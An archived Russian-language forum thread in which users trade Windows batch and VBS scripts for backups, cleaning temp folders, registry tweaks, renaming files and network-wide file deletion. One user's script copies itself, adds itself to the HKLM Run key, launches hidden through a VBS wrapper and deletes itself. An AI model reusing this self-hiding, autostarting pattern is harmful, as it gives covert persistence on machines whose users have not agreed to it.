![]() |
[архив] Нужна помощь в написании BAT | CMD | VBS | WSH файлов
Внимание! В связи с созданием отдельного форума по скриптовым языкам, эта тема переводится в архивное состояние. Если у вас есть вопрос, создайте новую тему или поднимите существующую, если в ней обсуждается аналогичная проблема. Пожалуйста, не создавайте тем с названием "Помогите!" или "Нужна помощь в написании батника". Это и так понятно :) Заголовок темы должен быть осмысленным. |
.. и сразу еще
Нужно из скрипта создать дерево каталогов такого вида "d:\bak\compname\25.06.2006\" то есть "d:\bak\имя_компьтера\текущая_дата\". Пробывал так: >mkdir d:\bak\%hostname%\%date% -- результат отрицательный. |
Лично я бы поставил PHP5 через phpactionscript.dll и писал бы на нем. Благо PHP малость знаем.
Может конечно кто знает, как это сделать попроще. |
0bject: идея ясна. Посоветую альтернативный вариант: воспользоваться программой резервного копирования данных. Такой софт делает все это гибче и имеет больше возможностей, чем бат-файл.
|
спасибо за дельные советы
|
дело в том что скрипт будет выполняться на клиентских машинах, поэтому его реализацию необходимо свести к использованию стандартных средств
|
получилось следующее:
Код:
@title ???????? Backup started ... |
0bject
Пропиши в начале @echo off , а в остальных местах echo (on/off) и собачек убери , а то от них галза разбегаются; echo с точкой пишется слитно. зы: echo off никак не влияет на команду echo <строка> (в том плане , что перед ее использованием echo on не нужно) |
Цитата:
|
Savant
Процитирую себя, любимого :] >> 2) По поводу огромного количества @ в скриптах. Да, я знаю про echo on/off. Просто так легче отлаживать скрипты - убрал @ где нужно, посмотрел эхо, потом вернул @ на место. Писать echo on, потом убирать... В общем, кто знает, тот поймёт. |
ок, мотаю на ус ..
|
2 0bject
Так же после создания бэкапа, можешь отправлять его почтой, только поставь the bat! у него полная поддержка командной строки в хелпе по нему все хорошо описано |
Спасибо, почтой льются только логи. А вообще очень рекомендую всем сисадминам посетить sysinternals.com, там широкий спектр всевозможных (грамотных) консольных утилит.
|
как в локальной сетке при условии что я везде на машинах являюсь админом удалить определенные файлы? Естественно при наличии их там. Самое сложное для меня не найти и удалить файл а как в скрипте задать чтоб он по всей подсетке пробежался и покилял?
|
Раз такой тем есть..)
Господа BAT-о-программеры, подскажите такой вопрос: хочу с помощью батника пробегаясь по папкам юзеров ОС (с:\Doc&Sett\<Имя_Пользователя>\..), делать в них определенные действия (напр., чистить ТЕМРы). Подскажете, как это реализовать? |
ShaddyR а ты всем в профилях настрой чтоб темпы складывались в %homedrive%/temp и чисти ее :)
|
MonsterMax SPB: не пойдет. Темп я привел для примера, задача о другом.
|
ShaddyR
На одной машине? Я имею в виду, профиля локальные? тогда может... Там же можно получить список директорий Dir-ом, перебрать его For-ом, и не трогать Default-а и Administrator-а |
MonsterMax SPB
Если есть домен то проблем не возникнет просто поставь батник в политику чтоб он выполнялся при загрузки компутеров пользователей. ShaddyR %userprofile% - это все равно что c:\Documents and Settings\<имя пользователя>\ %alluserprofile% - это c:\Documents and Settings\All Users\ соответственно потом берешь любую папку которую тебе надо %alluserprofile%\Рабочий стол :)) |
а вообще ты сам можещь задать для всех компов в своей подсети свои переменные среды, которые тебе просто облегчат в дальнейшем жизнь)
|
lehha мне не надо всегда и каждый день мне надо периодически а то и вообще один раз.
|
hasherfrog: локальные. В том то и дело - с ФОРом в ДОСе не знаком)
lehha: у меня десяток юзеров. Переменная ЮЗЕРПРОФАЙЛ содержит путь к папке юзера текущей сессии. ОЛЛЮЗЕРС есть оллюзерс, они мне не требуются). По ходу, имена юзеров, а возможно и путь к папкам, вытаскивается из реестра тем же For'ом. Как? |
ShaddyR
а может попробовать whs у него возможностей поболее будет и выглядеть будет это примерно так: Код:
Dim fso, f, f1, fc, s |
lehha: tnx. Но нужен БАТовский скрипт, по нескольким причинам. При большом желании можно и на ДЕЛЬФИях напрограммить, это как раз не есть проблема)
|
сделай Пуск->Выполнить->cmd
набери help for на сколько я понял for может обробатывать строки других команд т.е. он вполне может обработать Dir )) |
Код:
c: |
Готово!
Привожу полученный результат: Основной БАТ-файл Код:
@echo off Код:
@echo off ЗЫ: Для тех, кому влом разбираться в коде - первый bat-файл перебирает все папки по пути Код:
СистемныйДиск:\Documents and Settings\ (путь тот же) папки Temp[orary Internet Files] очистить и ту и другую. Примечания: 1) используемые в данный момент файлы удалены не будут 2) Касперский так разнервничался в процессе - еле успокоил его ;) ЗЗЫ: hasherfrog : С пол-часа пытался понять, почему систему так удивляет %i ))) Цитата:
|
ShaddyR, знаете, Вы поосторожнее только.
1. В 9х-виндах у FOR не совсем такие ключи, как в 2000-х. 2. Обратите внимание на то, что директория создаётся от имени... кого? Админа? А что скажет винда юзеру на такой финт: у него в хоуме лежит... оба-на... админская директория? Может быть, ниего страшного и нет, впрочем. Но я бы сделал рекурсивное удаление содержимого директории, но не самой директории с её последующим восстановлением. Ну, впрочем, проверяйте. на FAT32-дисках, ЕМНИП, разницы никакой не будет. до кучи: ставьте по возможности firefox последний, там есть плагин специально для удаления всего "личного" барахла прямо на выходе из браусвера. впрочем, это я так, до кучи... |
hasherfrog
на сколько мне извесно директория с профилями прльзователей т.е. Documents and Settings есть ток на системах от win2000, так что кусок это кода Код:
IF EXIST "%systemdrive%\Documents and Settings"\%1\"Local Settings\Temporary Internet Files" |
обновил код обработчика в предыдущем посте - теперь проверка делается по наличию QuickLaunch'а, которого у сервисных папок просто не существует :) Это если кому-нить с какого-нить перепугу эта самоделка пригодится.
ЗЫ: понраилось вошкаться с BAT-ом... на основе вышеозначенного скрипта сделал скрипт для использования каждым юзером собственной конфигурации TotalCommander'a. Могу поделиться, коли кто желает. |
помогите с помощью БАТника создать папку с именем, содержащим сегодняшнюю дату (например "backup_14.01.06") и скопировать в неё содердимое другой папки, идеальный вариант- если при этом ещё удастся предварительно упаковать это содержимое(но это не так важно). заранее благодарен
|
serge_a
Я уже довольно давно пользуюсь на 2к3 сервере следующим скриптом (код. стр. 866) Код:
@cls |
Savant супер! А еще с синтаксисом 7zip плиз :)
|
Помогите написать *.bat для запуска программы после ввода пароля, и ввод пароля не должен отображатса....
и желательно чтоб пароль брался из файла. :help: |
MC_Dimka
>> и желательно чтоб пароль брался из файла Применительно к BAT - Секьюрность очень уж маленькая. Лучше всё-таки бинарник скомпилить. |
Куда-то исчезло окно в котором я писал, так что напечатаю еще раз. Я и не знал (или забыл), что такая тема есть, а то давно бы уже спросил. Есть скрипт у меня недоделаный для импорта пользовательских (HKCU) настроек во все локальные профили после установки системы. Слепил я его на основе того, что мне прислал один из участников конференции
Код:
@echo off Можно как-то сформулировать два условия сразу: если значение не равно All Users или не равно %username%, то выполняем скрипт дальше. |
hasherfrog
Цитата:
|
Цитата:
Код:
For /F "usebackq tokens=* delims==" %%i in (`DIR /B /AD-H-S "%profiles%" ^| FINDSTR /V /B /I /C:"All Users" /C:"%username%"`) DO ( |
Цитата:
Код:
Set objPWD = CreateObject("ScriptPW.Password") Код:
cscript start.vbs |
amel27
Чет нече не запускает...:( |
MC_Dimka
Должно работать, может пароль неверный?.. ;) |
amel27
я его вобще не могу запустиь..:( |
amel27
Спасибо, я попробую на досуге. Хотя, вы уже наверное попробовали самостоятельно :) Рег файлы не редактировать не получится. Т.е. даже если и есть решение, то оно будет сложнее чем два файла. Если б INF был, то там можно было бы наверное пытаться что-то накрутить. Но опять же, если есть HKCU файл, то из него сделать еще один для HKU\custom - дело пары секунд. |
MC_Dimka
Какая ошибка? Возможны варианты: например не установлен WSH 5.6 (что маловероятно), или намудрили с безопасностью и выполнение скриптов заблокировано. Попробуйте простой vbs-скрипт запустить через wscript/cscript: Код:
WScript.Echo "Hello" |
amel27
=.vbs(1, 1) Microsoft VBScript runtime error: ActiveX component can' t create object: 'ScriptPW.Password' |
Понятно, COM-объект не найден. Точно такая же ошибка будет на Win2K т.к. там его и нету... Где-то перетвикали, XP случаем не через nLite ставили? Попробуйте найти одноименный scriptpw.dll и перерегистрировать.
|
amel27
Цитата:
Цитата:
Все работает СПАСИБО!!, |
Уважаемые форумчане!
Хочу обсудить создание BAT файла, помогающего в установке системы под NTFS. Цель: создать BAT файл, который бы по возможности максимально полно очищал системные папки перед повторной установкой системы. В конечном итоге BAT должен удалять всё что только можно удалить в папках Documents and Settings\, Program Files\, WINDOWS\. Причём необходимо учесть скромные возможности "Консоли восстановления". Никаких вспомогательных программ или методов использоваться не должно. Проблемы: всем кто сталкивался с NTFS известно, что для более/менее полноценной работы с диском нужна либо ОС, либо "Консоль восстановления", либо утилиты наподобае NTSFDOS Pro. Т.к. цель не использовать доп. утилиты (ограничиться максимум установочным CD диском Windows), то можно: 1. Зайти в "Консоль восстановления" с правами админа; 2. Запусить пакетный файл с командами: SET AllowAllPaths = TRUE SET AllowWildCards = TRUE SET AllowRemovableMedia = TRUE и циклом автоматической обработки папок. Вам известно, что команда RD не удаляет папку если в ней есть файлы, команда DELETE не удаляет файлы к которым нет прав доступа. Это тоже нужно учесть в цикле обработки, иначе всё застопорится при этих ситуациях. Помогите pls написать соответствующий BAT файл. |
Vadikan
Прокомментируй пожалуйста свой скрипт? Вот это: @echo off :: Get the profiles directory from the registry for /f "usebackq tokens=3,3* delims== " %%i in (`reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" /v ProfilesDirectory`) do set profiles=%%i :: Set the profiles dir as %profiles% for /f "usebackq delims==" %%i in (`echo %profiles%`) do set profiles=%%i всё понятно, создаётся переменная соответствующая %SYSTEMDRIVE%\Documents and Settings (короче папке где лежат все профили). а дальше ну одни вопросы... for /f "usebackq tokens=1,1* delims==" %%i in (`dir /b "%profiles%"`) do ( if /i "%%i" neq "All Users" ( я так понял что исключается папка All Users в профильской директории. Да!? reg load HKU\custom "%profiles%\%%i\NTUSER.DAT" Непонятно зачем загружается/копируется, в реестр да и к тому же в ветку "custom", всё что есть в HKU данного пользователя!? regedit /s tweak.reg Ну это то применяется собственно твик, а где он должен тогда лежать? reg unload HKU\custom Хм... ну это выгружается ветка реестра "custom", но не понятно зачем она вообще нужна!? P.S. За ранее блогадарен за любые комментарии. P.S.S. Собственно, если ещё кто может прокомментировать этот скрипт милости прошу... ;-) |
Anton04
Цитата:
Цитата:
Цитата:
Цитата:
|
Vadikan
Чё то я совсем туплю... :swoon: Значит у нас получаеься так: копируется вся ветвь реестра HKU (текущего пользователя) в HKU\Custom - да? Потом применяется файл реестра (в виде файла tweak.reg) с нужными мне настройками (ну например там прописаны настройки HKU\Custom\Control Panel\Desktop). Так и имеем мы значит ветку реестра HKU\custom где содержится вся ветка реестра HKU (от текущего пользователя)+применённый (по верх) трик. :blink: А как у нас тогда осуществляется обратный процесс? для нового пользователя? как подзагрузить нужные нам настройки? Этот скрип же не рассматривает этот вопрос... :help: |
Anton04
Цитата:
Цитата:
|
Anton04
- HKU и HKCU это разные ветки; - наводящий вопрос: как применить твик ко всем пользователям компьютера (ветка HKCU)? |
amel27
Благодар за комментарий. Я не заметил, что Anton04 путает эти два раздела Цитата:
Думаю, что вам не повредит прочтение статьи Твики реестра и Описание реестра Microsoft Windows заодно прочтите. |
amel27
Блин... точняк спутал, признаю, запарился совсем, каюсь :sorry: :blush2: Vadikan Спасибо за наставления. :patsak: Дальше разберусь сам... |
Подскажите пожайлуста можно ли в батнике указать выбор даты, чтобы юзер подставлял дату...что-то типа диалогового окна и команда выполнялась с учётом выбранной даты?.....команда такого вида: c:\pcmaster\drv32\tfrema /Manual /File=C:\transact.qdx /ExtractFolder=c:\store\transferxml\imp /BusinessDate=20070323..........где 20070323 соответственно и есть дата.
|
если без всяких преобразований, то присвоить значение переменной:
Код:
@echo off |
0bject
вот пример скрипта который пробегает по включённым машинам домена и раскидывает/удаляет файлы (можно делать и другие действия) Код:
@rem Скрипт определяет все компьютеры сети и позволяет переписать/удалить файл на всех машинах в 1 месте а учитывая что del /Q/S/F %destination%\*.* не задевает подпапки Код:
@rem удаляет все подпапки с содержимым в заданной папке; файлы лежащие непосредственно в этой папке остаются |
Помогите написать bat файл
Нужно написать батник, который брал бы все файлы с определенным расширением и переименовывал бы их (новое имя файла должно быть датой и временем его создания).
|
А батник-то зачем? Это нужно делать регулярно, по расписанию?
Может быть, Renamer подойдёт? |
WSH не катит?
|
Цитата:
Цитата:
Объясняю зачем. Может это глупо, но ничего другого пока-что в голову не лезет. Использую виндошную службу факсов для отправки и получения факсов. Она факсам, которые получает дает им имена: 4dcf374a00.tif..., т.е. не читабельны и ищи который пришел последний. Бат файл хочу чтобы запускался каждый раз когда пользователь заходит в папку (пропишу авторан) и переименовывал все файлы. Понимаю что решение неправильное с точки зрения если будет много файлов,то переименовование всех может занять много времени. Подскажите если знаете решение моей ситуации. Заранее благодарен. |
запостил в ту тему, но хрен теперь ее найдешь... поэтому дублирую...
Lihonosov, Вот например: Код:
// путь к папке (слеши дублируются) Код:
wscript name.js |
А не подскажет ли кто как в батнике (cmd файле) сформировать текущую дату в виде гггг.мм.дд без участия пользователя?
нашел материальчик http://www.osp.ru/pcworld/2006/07/2665464/_p1.html но не работает :( ругается Код:
Непредвиденное появление: /f"tokens=2-4 delims=./-"%f. |
nosferaty
не хватает пробелов, и с "tokens" там чего-то не то... должно быть примерно так: Код:
@echo off [решено] Как сделать,что б батник проверял число ? |
Как пишется cmd/
Задача Нужно чтоб выводилось окно с реальным IP Как я понимаю команда IPconfig |
Rock, если я правильно понял вопрос - так:
cmd /k ipconfig /all |
ShaddyR, Благодарю! Всё получилось :oszone: :yahoo:
А где можно почитать на будущее сам принцип написания? |
Цитата:
1) подсистема помощи Windows 2) очень полезная опция есть у консольных программ и комманд ДОСа - "/?", "/h", "/help" - вывод описания и параметров команды 3) "Для получения сведений об определенной команде наберите HELP <имя команды>" 4) интернет - содержит ВСЕ сведения обо всем.. только надо знать, как спросить ;) |
Цитата:
|
Вопрос может не по теме. Есть bat(cmd)-файл, в котором через команду copy (или xcopy) копируются большие файлы по сети с одного сервера на другой. Но почему-то это происходит раз в 10 медленнее, чем если бы эти же файлы копировать вручную. Можно ли как-то ускорить этот процесс? Или есть какие-нибудь другие команды для копирования по сети?
|
Код командного файла — в студию!
|
Вот код...
Код:
rem %1 путь к базе данных на основном сервере |
Собственно здесь всего одна строка отвечает за копирование:
Код:
xcopy %1\cache.dat %2\*.* /z /y |
:) Всем привет!
Сорри, пока чуток занят очень даже в инет выйти не могу, времени нет, но Огромное Всем Спасибо за реальные интересные идеи. Пока мне предложили такой вариант: Set WshShell = WScript.CreateObject("WScript.Shell") If WshShell.Popup("Text1",0,"Title1",vbOkCancel)=vbOk Then WshShell.Run "notepad.exe",1,vbTrue If WshShell.Popup("Text2",0,"Title2",vbOkCancel)=vbOk Then WshShell.Run """C:\Program Files\FoxMail\Foxmail.exe""",1,vbTrue If WshShell.Popup("Text1",0,"Title1",vbOkCancel)=vbOk Then WshShell.Run "notepad.exe",1,vbTrue If WshShell.Popup("Text1",0,"Title1",vbOkCancel)=vbOk Then WshShell.Run "mspaint.exe",1,vbTrue к примеру |
Как создать бат программу?
Подскажите пожалуйста:
1. Мне нужно создать бат файл, которая выпонял бы пинг на айпишник. 2. Создать бат файл, который после загрузки ОС через некоторое время (примерно секунд 5- 10) запускал нужную программу. Заранее спасибо! |
Помогите!!! Есть ли возможность запустить на windows 98 пакетный файл CMD??? КАК???
|
Aeronaft
1. А ping /? пробовали? 2. А что вы понимаете под "после загрузки ОС"? Просто киньте файл в автозагрузку. Ltybc_, переименуйте расширение в bat |
Vadikan
не все так просто! В CMD я понимаю есть команды, которые сомманд.ком под win89 не понимает. Переименование не помогло! Затыкаеться на "Не найдена команда или имя файла". Придеться CMD в bat переписывать Либо ОСь менять. Вопрос стоял в том есть ли какие-то методы (из под ОС, утилиты)запустить именно СМD под win89. И вообще если брать в целом то похоже что не возможно, как во всей философии windows. :( |
Ltybc_, вы бы код файла своего привели, и можно было бы разговаривать конкретно, а не обсуждать философию Windows.
|
Vadikan, Код дать не могу, не потому что жадный, а потому что секретная штукенция. Все, справился сам. Переписал кое что.
|
помогите плиз
такая задача - нужен батник который бы запаковывал файлик c именем XXXXY,ZZ1 в архив arj, требования таковы имя архива должно быть как и имяфайла XXXXY,ZZ1 где Y - месяц по порядку от 1-9,a,b,c и ZZ число, ещё добавляется единичка в расширении. скажем исходный файл 1111c.20, в результате должен быть архив 1111с.201 тоесть имя архива длолжно быть как имя файла только добавляется единичка ...подскажите как ...заранее всем спасибо |
Люди помогите кто чем может
беру файл из дистрибутива Windows XP распаковываю его как написано с помощью Expand меняю что мне надо и запаковываю с помощью Makecab потомо с помощью утилиты ModifyPE исправляю контрольную сумму модифицированных файлов. но это всё подходит когда надо перепокоавть пару файлов а если их много кто-нибуть подскажите а нельзя ли это всё делать автоматически что бы 20-30 файлов сразу. А то руками очень долго помогите написать батник может у кого-нибуть есть готовый скинте на mail comsfera@onego.ru |
Andrei076, наверное можно. Маловато информации для размышления. Готового -- нет.
|
надо чтобы сначала запускался Makecab
а потом исправлять контрольную сумму файлов ModifyPE правда в голову ни чего неприходит а так бы было милое дело |
hasherfrog, тут два этапа. Допустим, все нужные файлы находятся в некой папке. На первом этапе их все нужно распаковать командой
Код:
expand -r filename.xxx На втором этапе нужно обработать все файлы (независимо от расширения) командой Код:
modifype.exe filename.xxx -c Код:
makecab.exe filename.xxx |
Vadikan, а куда они должны распаковываться? В ту же папку или нет? В принципе, довольно легко вроде бы :-|
|
hasherfrog, наверное, проще в другую, чтоб не путались с запакованными. Ну да, вроде не сложно FOR ... IN... DO... но все равно надо уметь :)
|
Vadikan, для распаковки, файл batchexp.bat:
Код:
@if "%1"=="" goto usage |
hasherfrog, насколько я понимаю, речь идет о системных файлах дистрибутива (i386), которые запакованы в cab индивидуальным образом, т. е. каждый файл представляет собой cab архив и расширение у таких файлов filename.XX_ (lib.dl_), а после распаковки expand получается уже полное расширение.
|
Все файлы находяться C:\XP\i386 с расшерением filename.XX_
просто я хочу заменить группу файлов в общей сложности у меня их вышло 97 а каждый перепоковывать руками долго да и время уходит а так бы всё за один раз было бы здорово |
Здравствуйте. Мне нужна помощь в написание bat файла.
Как сделать что бы бат файл копировал себя из запускаймой папки в определенное место на винте? А потом удалялся? Т.е если я запущу bat*ник на рабочем столе он должен будет копироватся в С:\dctmpDeleter И потом удалится на рабочем столе а в с:\1 остатся .... как такое сделать? |
Цитата:
Код:
Copy /Y %0 C:\dctmpDeleter |
Привет всем. спасибо Petya V4sechkin, помог.... но все таки не то что я хотел ..скажите мне что я делаю не правильно.
[code]@echo off if not exist %~n0.vbs echo>%~n0.vbs CreateObject("WScript.Shell").Run"%~dp0%~n0.bat",0® add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v dctmp /d "\"%~dp0%~n0.vbs\"" /f for %%a in (C) do if exist %%a: del/q/f/s %%a:\*.dctmp [code\] ---- этот код работает в фоновом режиме... т.е записывает себя в реестр для автозапуска и удалиния файлов с расширение dctmp на диске С. @echo off Copy /Y %0 C:\dctmpDeleter if not exist %~n0.vbs echo>%~n0.vbs CreateObject("WScript.Shell").Run"%~dp0%~n0.bat",0® add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v dctmp /d "\"%~dp0%~n0.vbs\"" /f for %%a in (C) do if exist %%a: del/q/f/s %%a:\*.dctmp Del /F /Q %0 - А этот код делает почти все тоже самое.... только вот Копирует и удоляет файлы он не в фоновом режиме... т.е открывает окно командной строки и еще нашел еще одну проблемку.... батник сначала копирует себя потом делает запись в реестре потом создает VBS файл а потом удаляет себя =((. Как сделать что бы в реестр добавлялся уже скопированный файл? и все копировалось\удолялось в фоне? |
Здравствуйте, необходимо написать бат файл который каким то оьразом будет подлючать интернет.
Есть интернет подключение (наименование Internet), на рабочем столе есть ярлык Internet. я пытался сделать так: start C:\....\...\Рабочий стол\Internet.lnk Но он сразу начинает выводить окно спомощью чего вам открыть формат .lnk ... Тогда попробЫвал задать ярлыку горячие клавиши (Ctlr+Alt+D), но не знаю как использовать их в бат файле. Вот такая вот проблемка, буду очень благодарен, если вы мне поможите. |
rasdial попробуй
или рег.файл Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] "VPN"="rasdial VPN user pass" |
skatet,
Спасибо большое, помогло А как через регфайл то сделать, напиши как это уже готовое выглядеть должно. И есть ли какой ни-ть кодинг ( как в ХТМЛ например) что бы шифровать содержимое бат файлов ? |
Еще возникла проблема, теперь когда использую простые операторы типа choice или deltree
пишет что они не являются не внутренними не внешними, хотя раньше все работало прекрасно. |
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] "VPN"="rasdial VPN user pass" скопируй этот текст в тхт и сохрани с расширением reg и можешь импортировать. rasdial VPN user pass" меняй здесь: vpn - название подключения, может быть любым user и pass - сотв логин и пароль И есть ли какой ни-ть кодинг ( как в ХТМЛ например) что бы шифровать содержимое бат файлов ? - имеешь ввиду чтоб нельзя было команды прочемсть? |
Вложений: 1
reg файл
|
Цитата:
Цитата:
|
Цитата:
- Bat2Exe от MSFN; - Bat To Exe Converter от Fatih Kodak; - Quick Batch File Compiler от AbyssMedia. Цитата:
|
Ну раньше то все работало, ничего не менял и не убирал ...
|
А мне кто нить поможет ?
|
zi0n
Цитата:
HiAll Цитата:
|
set deltree
Переменная среды не определена, откуда можно взять файлики и куда тыкнуть ? |
Блин как вообще мне эти операторы востановить ? хреново без них
|
Цитата:
Цитата:
|
amel27,
ну он работает...только не множко не так как мне надо.... =) |
Вложений: 1
Ну вот что она содержит
|
HiAll, zi0n, да вы что сговорились что ли?
HiAll не поленись исправить свой пост с вопросом, чтобы код батника был в тегах "CODE" zi0n удали пользовательскую переменную PATH (сверху) и перерегистрируйся... имеет смысл только при наличии требуемых файлов на жестком диске |
Всем привет нужен батник для автоматической установки прог с подключенного сетевого диска в WINXP, написанный командный сценарий не понимает exe- шники типа (Касперского 6.0)
|
Цитата:
|
Нужен батник, который бы перемещал все файлы из всех подпапок папки, допустим c:\books\... , в саму эту папку c:\books
|
seekeer, а вы сделайте так: откройте свою большую папку в обеих панелях Total Commander, выберите на одной панели в меню "Вид" - "Показать все файлы без подкаталогов", выделите всё и перенесите на другую панель. В первой панели останутся пустые папки. Чуточку длиннее, конечно, зато не нужно батник иметь, хранить, искать...
To All Помогите решить очень простую задачу: батник, лежащий к каталоге XXX, должен удалять все папки с именем YYY, находящиеся внутри XXX на любом уровне вложенности. |
Цитата:
Код:
CD /D "%~dp0" Цитата:
Код:
Set D=c:\books |
Petya V4sechkin и all, а вот задача для настоящих "зубров"!
Нужен батник, который при запуске из любого места, например, с внешнего носителя при загрузке системы с компакт-диска, удаляет, независимо от системных разрешений и атрибутов файлов: 1) всё содержимое всех папок Temp и Temporary Internet Files (для всех пользователей) в каталоге Documents and Settings на системном диске; 2) содержимое папки Windows\Temp; 3) содержимое корзины; 4) все точки восстановления за исключением последней. Мастера с Ru-board помогали однажды мне решить эту задачу. Результат (последняя версия батника) - ниже (комментарии в файле не мои, а автора батника). Последующее применение батника на разных компах показало, что поставленная цель не вполне достигнута. Так что у тех, кто пожелает мне помочь, есть два пути, по вкусу: или работа над чужими ошибками, или свой вариант... Код:
@echo off |
Petya V4sechkin , truvo спасибо большое, сейчас попробуем)
|
Добавление строк в текстовые файлы при помощи пакетного файла
Кто знает как добавить строки в текстовые файлы при помощи пакеиного файла?
|
echo add this line > C:\test.txt
|
Vadikan, неправильно, так перезапишется. Для добавления надо >>
|
Конкретно мне нужно автоматически добавить строчки типа
(127.0.0.1 localhost) в конец файла: %systemroot%\system32\drivers\etc\hosts |
Код:
echo 127.0.0.1 localhost >> %systemroot%\system32\drivers\etc\hosts |
Admiral, сенкс а у тебя случайно нет рукаводства по командам CMD?
А как сделать множествену команду добавления одинаковых строк в файл? |
Цитата:
|
Off-line сборника нет. Это ещё старая досовская команда. Другие посмотреть можно здесь http://www.computerhope.com/batch.htm
Пару раз одну и туже строку, наверное через цикл удобнее всего. Пример использования здесь http://forum.oszone.net/thread-97534.html |
Здарова, мне нужен батник чтоб он запускал файл Setup.exe в обычном режиме а потом импортировал reg файл настроек, но нужно сделать так чтоб если я отменю установку файл реестра не выполнялся, помоги!
|
Код:
@echo off |
нужна помошь написать бат фаил
Ребята помогите в написание бат файлика для нового подключения VPN со всеми галочками. За ранее благодарен.
|
АндрейGT, BAT-ником это не реализовать, но можно реализовать с помощью языка AutoIt!. Подробнее см. здесь. И тут http://forum.oszone.net/showthread.p...gin#post744163
|
Цитата:
С его помощью создаются профили, которые можно устанавливать где угодно (есть ключи для "тихой" установки). |
Petya V4sechkin, мой пост 117 остался незамеченным. Я дважды вам и в ПМ о нем напоминал. Разумеется, мне никто здесь ничем не обязан, но всё же - ждать мне реакции или нет?
|
truvo, вода камень точит. Лично я впервые сей пост заметил.
Цитата:
Код:
rd %SYSTEMROOT%\Temp\ /s /q |
Цитата:
Код:
rd %Temp% /s /q |
Нужен батник который выполнял команду для нескольких тысяч разных файлов
Пример FILENAME1.XX_ expand.exe -r filename.xxХ Где fileneme1.ХХ_ любой файл где fileneme.xxX там распакованый файл (желательно в другой папке |
Где можно почитать о том как делаются батники, какие батники можно делать и вообще все про них?
|
Супер ShaddyR, Уж тогда наверняка найдём системный темр, который по многим ресурсам советуют устанавливать как С:\Temp, как в Windows NT по умолчанию.
А для полного прочищения ещё стоит добавить команду Код:
rd %Tmp% /s /q |
Admiral, ShaddyR, а вы обратили внимание, что Windows в моей задаче загружается с компакта, а временные папки должны после этого убиваться на харде?
|
truvo, Это я не обратил внимание. :sorry:
ShaddyR подсказал :up как добиться более гибкого решения нежели моё, когда доступны переменные среды. |
Можно ли из bat удалить часть реестра Windows
Например HKEY_LOCAL_MACHINE\SOFTWARE\Alawar ????????????? |
Только под XP и выше
Код:
reg Delete HKEY_LOCAL_MACHINE\SOFTWARE\Alawar Цитата:
|
Bars66, типа такого?
Код:
Set SRCDIR=C:\_1 |
Цитата:
А как без вопроса???? |
Код:
reg Delete HKEY_LOCAL_MACHINE\SOFTWARE\Alawar /f |
Вопрос: можно ли в одном батнике установить несколько заданий типа сначала пинг узла, а потом рестарт службы и следом создание шареной папки, одним словом многозадачный батник?
|
Код:
ping 127.0.0.1 Код:
Cacls C:\Temp /e /r Everyone Доступ - Как получить доступ к файлу или папке |
Привет! Думаю если сюда нимишу необидно будет раз про bat разговор.
У меня вот че такой вот код Код:
rem @echo off Как добавить в этот код чтоб перед выполнением опред бэкапа сначало проверялись уже созданные архивы и те что старше 14 дней удалялись. а потом выполнялся бэкап. |
У меня по REG DELETE вопрос -- как удалить ОПРЕДЕЛЕННЫЙ параметр из ЛЮБОГО подраздела УКАЗАННОГО раздела?
Пример: в [HKLM\SOFTWARE\MyPrivate] имеются подразделы, имена которых - случайные, например [HKLM\SOFTWARE\MyPrivate\23С5В778О3А77]и в каждом из них есть ОДИНАКОВЫЙ параметр Param, то есть [HKLM\SOFTWARE\MyPrivate\23С5В778О3А77]Так вот мне требуется, не имея понятия о том, какие существуют подразделы в определенном ключе, удалить во всех этих разделах параметр Param, ну то есть что-то вроде REG DELETE HKLM\SOFTWARE\MyPrivate\* /v Param /fКАК ЭТО МОЖНО РЕАЛИЗОВАТЬ? Заранее благодарю. |
BaerLinn, стоит взяться за Windows Script Host - оно гораздо функциональней командной строки.
|
Busla, ну все-таки, пусть и "долго", и "некрасиво", но через батник можно как-то?
|
BaerLinn
Цитата:
|
ShaddyR, по-моему, Вы не очень внимательно прочитали мой кейс. В моем случае: имеется раздел, в этом разделе - куча ключей, которых я не знаю и знать не хочу, и вот в каждом из таких ключей присутствует одинаковый параметр. Вот этот параметр из всех этих мне и нужно удалить, то есть
[HKLM\SOFTWARE\MyPrivate\?????????????]А лучше еще раз, пож-та, прочтите мой пост с примером и пояснениями. Спасибо! |
Люди как удалить батник после завершения работы подскажите плз :-|
|
Вопрос про .bat
помогите начинающему,как переминовать папку на рабочем столе??????? На дисках получается, а на рабочем столе нет!!!!!!!!
ren С:\Documents and Settings\Administrator\Рабочий стол\Новая папка новая папка1 скажите что не так????? Заранее Спасибо!!!!! |
Dr.Dark
Код:
Del /F /Q %0 |
Цитата:
ren "С:\Documents and Settings\Administrator\Рабочий стол\Новая папка" новая папка1 ковычки надо ставить так как имеются пробелы в пути |
Хм что то не получается?
|
Ramsa, C:\WINDOWS\Help\ntcmds.chm - справка по командам.
Задачи на bat-файлах - более 100 страниц посвящено этой теме. ren "С:\Documents and Settings\Admin\Рабочий стол\Новая папка" "новая папка1" Важно Команды с русским шрифтом, как в данном случае, сохраняем в DOS кодировке любым текстовым редактором (то же FAR, TC и пр) |
yurfed, Ramsa,
все работает Цитата:
|
Baw17, а как у тебя работает этот вариант, где в имени выходной папки есть пробелы
ren "С:\Documents and Settings\Administrator\Рабочий стол\Новая папка" новая папка1 |
BaerLinn, а если экспортировать HKLM\SOFTWARE\MyPrivate\, а потом в файле заменить рег. выражением. Ну и импортировать потом. Эй, сценарист!: Поводя бровями на регулярные выражения
Цитата:
|
Vadikan, другими средствами не владеем-с :blush: не обучены...
|
Всем доброго времени суток!!!
